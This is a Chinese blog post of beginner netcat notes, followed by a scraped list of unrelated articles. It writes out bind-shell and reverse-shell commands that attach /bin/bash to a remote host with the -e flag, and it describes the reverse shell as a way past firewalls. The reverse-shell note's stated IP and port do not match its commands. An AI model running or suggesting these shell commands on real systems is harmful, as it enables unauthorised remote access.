简介:

NC(全名NetCat),在网络界有"瑞士军刀"的美誉。它小巧而强悍,被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接。

使用格式:

nc [options...] hostname port

nc -l -p port [-s addr] [options...] [hostname] [port]

主要参数:

-4 IPv4模式
-6 IPv6模式
-b, --bluetooth 蓝牙模式 (默认为L2CAP协议)

-e,--exec=CMD 连接建立后执行命令

-l 监听入站连接

-n 指定数字的IP地址,不能用hostname

-u UDP模式

-t TCP模式(默认模式)

-v 详细输出——用两个-v可得到更详细的内容

-w,--time=SECONDS 连接建立后的延时

-z 扫描模式,不会发送任何数据

-T,--ttl=TTL 自定义初始TTL

-z 将输入输出关掉——用于扫描时

-x,--transfer 文件传输模式

-X ,--rev-transfer 反向文件传输模式

-s,--address=ADDRESS 本地源ip

使用举例:

1. 交互数据传输(简单聊天):

nc可以作为简单的字符下聊天工具使用:

[本地] nc -lp 1234

[远程] nc 222.24.51.53 1234

2. 正向连接:

注:远程主机(ip:222.24.51.116)上运行nc -l -p 1234 -t -e /bin/bash监听其本地端口,一旦连接建立,就执行其/bin/bash,本地主机连接到远程主机,将已经连接的CMD重定向到1234端口的远程主机。

[远程主机] nc -l -p 1234 -t -e /bin/bash

[本地主机] nc -nvv 222.24.51.116 1234

3. 反向连接:

注:先在本地主机(拥有公网IP)开启1234 端口并监听等待远程主机连接;在远程主机上将其 CMD 重定向到 IP 地址为 192.168.1.102 端口号为2012 的主机上。

[本地主机] nc -l –vv -p 1234

[远程主机] nc -t -e /bin/bash 222.24.51.53 1234

总结:以上两种连接方式中,反向连接就是反弹shell到本地,因为由远程主机发送的数据请求其本地防火墙一般不会去拦截,故反向更易连接。

4. 文件传输:

从远程主机把ap-wlan0文件传送到本地并重命名为ap-wlan文件:

[本地主机] nc -v -l -p 1234 > ./ap-wlan

[远程主机] nc -vv 222.24.51.53 < /home/linger/ap-wlan0

NC入门笔记的更多相关文章

  1. 每天成长一点---WEB前端学习入门笔记

    WEB前端学习入门笔记 从今天开始,本人就要学习WEB前端了. 经过老师的建议,说到他每天都会记录下来新的知识点,每天都是在围绕着这些问题来度过,很有必要每天抽出半个小时来写一个知识总结,及时对一天工 ...

  2. ES6入门笔记

    ES6入门笔记 02 Let&Const.md 增加了块级作用域. 常量 避免了变量提升 03 变量的解构赋值.md var [a, b, c] = [1, 2, 3]; var [[a,d] ...

  3. [Java入门笔记] 面向对象编程基础(二):方法详解

    什么是方法? 简介 在上一篇的blog中,我们知道了方法是类中的一个组成部分,是类或对象的行为特征的抽象. 无论是从语法和功能上来看,方法都有点类似与函数.但是,方法与传统的函数还是有着不同之处: 在 ...

  4. React.js入门笔记

    # React.js入门笔记 核心提示 这是本人学习react.js的第一篇入门笔记,估计也会是该系列涵盖内容最多的笔记,主要内容来自英文官方文档的快速上手部分和阮一峰博客教程.当然,还有我自己尝试的 ...

  5. redis入门笔记(2)

    redis入门笔记(2) 上篇文章介绍了redis的基本情况和支持的数据类型,本篇文章将介绍redis持久化.主从复制.简单的事务支持及发布订阅功能. 持久化 •redis是一个支持持久化的内存数据库 ...

  6. redis入门笔记(1)

    redis入门笔记(1) 1. Redis 简介 •Redis是一款开源的.高性能的键-值存储(key-value store).它常被称作是一款数据结构服务器(data structure serv ...

  7. OpenGLES入门笔记四

    原文参考地址:http://www.cnblogs.com/zilongshanren/archive/2011/08/08/2131019.html 一.编译Vertex Shaders和Fragm ...

  8. OpenGLES入门笔记三

    在入门笔记一中比较详细的介绍了顶点着色器和片面着色器. 在入门笔记二中讲解了简单的创建OpenGL场景流程的实现,但是如果在场景中渲染任何一种几何图形,还是需要入门笔记一中的知识:Vertex Sha ...

  9. unity入门笔记

    我于2010年4月1日硕士毕业加入完美时空, 至今5年整.刚刚从一家公司的微端(就是端游技术+页游思想, 具体点就是c++开发, directX渲染, 资源采取所需才会下载)项目的前端主程职位离职, ...

随机推荐

  1. Java web struct入门基础知识

    1.Struts2的前身是Opensymphony的Webwork2,实际上Strut和Webwork2合并后形成Struts2.   2.一个HelloWord示例 1)创建Web应用,所需要的Ja ...

  2. conductor APIs

    任务和工作流元数据 端点 描述 输入 GET /metadata/taskdefs 获取所有任务定义 N / A GET /metadata/taskdefs/{taskType} 检索任务定义 任务 ...

  3. jq闭包

     var jy = jQuery.noConflict(); (function($){ //里面跟jq的所有代码 })(jy) 

  4. luoguP3366 [模板] 最小生成树

    题目链接:https://www.luogu.org/problemnew/show/P3366 思路: 求最小生成树的模板题,求MST有两种算法——Prim.Kruskal. 两者区别:Prim在稠 ...

  5. 安装完CentOS可以不做的事

    添加用户到sudo. 打开/etc/sudoers 找到root ALL=(ALL) ALL这一行,在后面再加上一行就可以了(不用引号): username ALL=(ALL) ALL 注意,都用ta ...

  6. Intellij IDEA 热部署处理

     1. 首先参考IDEA热部署同行经验分享:  Intellij IDEA 4种配置热部署的方法 2. IDEA 热部署实战: springboot项目: 不要引入热部署工具包spring-boot- ...

  7. Python发送邮件不需要发件人密码认证

    #!/usr/bin/python # coding: UTF-8 import smtplib from email.mime.text import MIMEText receivers_list ...

  8. C#设计模式之简单工厂模式(过渡模式)

    一.引言 之所以写这个系列,是了为了自己更好的理解设计模式,也为新手提供一些帮助,我都是用最简单的.最生活化的实例来说明.在上一篇文章中讲解了单例模式,今天就给大家讲一个比较简单的模式——简单工厂模式 ...

  9. Linux indent命令

    一.简介 indent可辨识C的原始代码文件,并加以格式化,以方便程序设计师阅读. 二.选项 http://www.cnblogs.com/xuxm2007/archive/2011/11/03/22 ...

  10. 02 请求库之 selenium模块

      selenium模块   一 介绍 selenium最初是一个自动化测试工具,而爬虫中使用它主要是为了解决requests无法直接执行JavaScript代码的问题 selenium本质是通过驱动 ...